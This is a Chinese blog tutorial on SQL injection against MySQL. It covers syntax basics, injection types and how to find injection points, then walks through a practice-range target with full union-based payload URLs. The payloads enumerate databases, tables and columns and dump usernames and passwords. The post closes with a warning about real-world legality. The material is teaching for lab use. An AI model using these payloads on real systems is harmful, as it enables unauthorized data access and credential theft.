vlambda博客
学习文章列表

投稿文章——SQL注入

       

在上几期,小编带着大家一起学习了文件上传和xss平台搭建,相信大家对网络安全有了一定的了解。接下来,咱们一起学习SQL注入。

投稿文章——SQL注入

01


基础知识


数据库方面:

针对MySQL数据库,其他数据库会有一些区别。


命令:

select :查数据select * from 表名;查询这个表的所有信息Select admin from 表名;查询这个表中admin字段的信息Order by :用于猜测列数,如:order by 1,2,3;找到页面正常和页面不正常的临界值,即列数,Union :用于合并两个或多个 SELECT 语句的结果集(简单点说就是可以同时执行两条sql命令,要求是是拥有相同的列数。用于联合注入)And:两边同时为真才为真(==&&)Or: 两边同时为假,才为假(==||)Where:判断语句,相当于ifGroup_concat():相同的行组合起来(用于输出所有查询结果)


函数:

User():返回用户Version()返回版本Database() 返回数据库名(作用:信息收集,确定之后的思路)load_file():读取函数into outfile 或 into dumpfile :导出函数


版本:

MySQL数据库分高版本和低版本5.0以上为低版本,5.0以上为高版本高版本自带一个数据库叫:information_schema其中存储有所有的库名,表明,列明可以通过他查询指定数据库下面的表明,列名5.0以下的就没有这个库,这就导致表明和列明就只有猜解爆破


单词:

information_schema.table:记录所有表名的表(找表名)Information_schema.columns:记录所有列名信息的表(找列名)table_name:表名column_name:列名table_schema:库名


获取所有数据库名:

http://127.0.0.1:8080/sqlilabs/Less-2/?id=-1 union select1,group_concat(schema_name),3%20from information_schema.schemata


获取指定qqyw数据库名下的表名信息:

union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='qqyw'


获取指定qqyw下的表名admin下的列名信息:

union select 1,group_concat(column_name),3 from information_schema.columns where table_name='admin' and table_schema='qqyw'


获取指定ggyw下的admin数据:

union select 1,u,p,4 from qqyw.admin


其他方面:

get ,post.提交方法,数据包格式,内容,每个字段的作用


工具:

burp,浏览器插件:modheader,(或者直接用Firefox.渗透测试版本)


数据库符号:

'.'代表下一级,如:库名、表明;代表这个数据库下面的一个表


投稿文章——SQL注入

02


漏洞原理


原理:

用户输入的数据,被当作SQL代码执行。


条件:

用户可控制输入数据。


投稿文章——SQL注入

03


漏洞分类


主要注入方式:

注入的种类,存在sql注入漏洞的传参点:GET,POST,HEADER,COOKIE(只要是带入了数据库查询,就可能存在sql注入)


辅助注入方式:

联合注入:通过union进行联合查询,直接在页面中显示数据

报错注入:页面出现报错信息的同时,将想要的信息一同输出出来

盲注:用爆破的方式,通过页面返回的情况判断猜的数据是否正确,主要有布尔盲注,时间盲注


其他注入:

加解密注入,json注入, dnslog注入,二次注入,堆叠注入…


投稿文章——SQL注入

04


漏洞寻找


寻找sql注入点:

1.发现url中存在参数的时候,比如:?id=xx,这种直接在后面加单引号,以及加 and 1=1和and 1=2(存在单引号过滤的时候),回车后观察页面返回情况,如果有报错,那就可能存在sql注入。

2.在登录页面,查找页面,添加页面,等存在查找数据库信息的功能点出,可能存在sql注入,以及抓取数据包,以POST方式提交的信息,cookie信息,等存在需要带入数据库查询的地方都可能存在sql注入。


投稿文章——SQL注入

05


漏洞利用


(一)靶场:

免费靶场: https://insider.pwnthebox.com/

1.找到注入点
https://130-3acb3a49-ff3f-44c7-ae73-512090dbfd63.do-not-trust.hacking.run/?id=1'
找到参数,在后面添加分号‘,回车后出现报错,由此判断出存在sql注入。
投稿文章——SQL注入

2.猜测sql语句
通过页面返回的错误信息,判断出sql语句为:
SELECT * FROM users WHERE id='$id' LIMIT 0,1

3.order by 猜解列数
通过order by语句判断出在orderby 3的时候返回正常,而在order by 4的时候返回错误,说明列数为3。
https://130-3acb3a49-ff3f-44c7-ae73-512090dbfd63.do-not-trust.hacking.run/?id=1'order by 3--+
投稿文章——SQL注入
https://130-3acb3a49-ff3f-44c7-ae73-512090dbfd63.do-not-trust.hacking.run/?id=1'order by 4--+

投稿文章——SQL注入


4.Union联合注入
知识点:union 的作用是将两个sql 语句进行联合(强调一点:union 前后的两个 sql语句的选择列数要相同才可以)
Union all 与 union的区别是增加了去重的功能
http://127.0.0.1/sqllib/Less-1/?id=-1’unionselect 1,2--+
当 id 的数据在数据库中不存在时(此时我们可以 id=-1,两个 sql 语句进行联合操作时, 当前一个语句选择的内容为空,我们这里就将后面的语句的内容显示出来)此处前台页面返回了我们构造的 union 的数据。(tp:+号可以代替空格)


5.爆数据
第一步先收集信息:版本,用户,库名(version(),user(),database())(目的:为后续思路做铺垫)
如果为5.0以上的高版本,则直接查询数据库information_schema中的表名字段等信息,如果为5.0以下的低版本,恭喜你,慢慢猜名字或者爆破名字吧(可以采用暴力查询或结合读取查询)。

6.具体查询方式

(1)首先通过select 1,2,3--+找到回显是那一列,这里显示的2,3说明应该修改2,3出的内容才能回想信息。

https://130-3acb3a49-ff3f-44c7-ae73-512090dbfd63.do-not-trust.hacking.run/?id=-1'union+select+1,2,3--+
投稿文章——SQL注入

(2)收集信息:将url中的2,3替换成想要查询的信息,这里查询版本version()为5.5.64属于高版本,用户root判断为高权限用户,数据库名字database()为:security

https://130-3acb3a49-ff3f-44c7-ae73-512090dbfd63.do-not-trust.hacking.run/?id=-1'union+select+1,version(),user()--+

https://130-3acb3a49-ff3f-44c7-ae73-512090dbfd63.do-not-trust.hacking.run/?id=-1'union+select+1,version(),database()--+

投稿文章——SQL注入

投稿文章——SQL注入


(3)这里为了显示所有信息,使用了group_concat(),将所有的数据库名都显示出来,且以点分隔.

Chema_name是指数据库名字
Information_schema.schemata:其中“.”表示下一级的意思,这里就是information_schema这个库里面的schemata表,这个表存储了所有数据库的名字,下面这句url的意思就是查询这个表里面的全部信息。
https://130-3acb3a49-ff3f-44c7-ae73-512090dbfd63.do-not-trust.hacking.run/?id=-1%27union%20select%201,group_concat(schema_name),3%20from%20information_schema.schemata--+
此时的sql语句为:
SELECT * FROM users WHERE id=’-1’union select1,group_concat(schema_name),3 frominformation_schema.schemata--+ LIMIT 0,1
投稿文章——SQL注入

(4)爆表名:(目的:只有知道了具体的表名才能进行查询,列明同理)

这里我们要查询数据库security中的表名,其中table_name表示表名的意思,information_schema.tables表示:数据库information_schema下的tables这个表,里面储存了所有表名,where是判断语句,where   table_schema=‘security‘相当于if(table_schema==’’security’’)筛选出security数据库中的表名。
https://130-3acb3a49-ff3f-44c7-ae73-512090dbfd63.do-not-trust.hacking.run/?id=-1%27union%20select%201,group_concat(table_name),3%20from%20information_schema.tables%20where%20table_schema=%27security%27--+
此时sql语句为:
SELECT * FROM users WHERE id=’-1’union select 1,group_concat(table_n ame),3 from information_schema.tables where table_schema=’security’--+ LIMIT 0,1

投稿文章——SQL注入


(5)爆users这个表的列名(其他表同理):这里的column_name表示列明的意思,information_schema.columns中的columns这个表存储了所有的列名。

https://130-3acb3a49-ff3f-44c7-ae73-512090dbfd63.do-not-trust.hacking.run/?id=-1%27union%20select%201,group_concat(column_name),3%20from%20information_schema.columns%20where%20table_name=%27users%27--+

此时的sql语句为:

SELECT * FROM users WHERE id=’-1’union select 1,group_concat(column_name),3 from information_schema.columns where table_name=’users’--+ LIMIT 0,1
投稿文章——SQL注入

(6)爆数据:这里选择爆username和password这两个列的数据

这里我用group_concat()爆出了所有数据,这里可以不用group_concat(),根据实际情况决定。

https://130-3acb3a49-ff3f-44c7-ae73-512090dbfd63.do-not-trust.hacking.run/?id=-1%27union%20select%201,group_concat(username),group_concat(password)from  users--+


总结:通过这些payload可以获得自己想要的数据,但是实际情况要实际分析,对于有过滤的地方,需要自己组织payload来实现绕过,同时在实战的时候一定要注意安全,一般拿到表名就可以停手了,谨防吃国家饭。


END





攥稿:蒋师傅

审核:陈宏基

排版:唐艺婷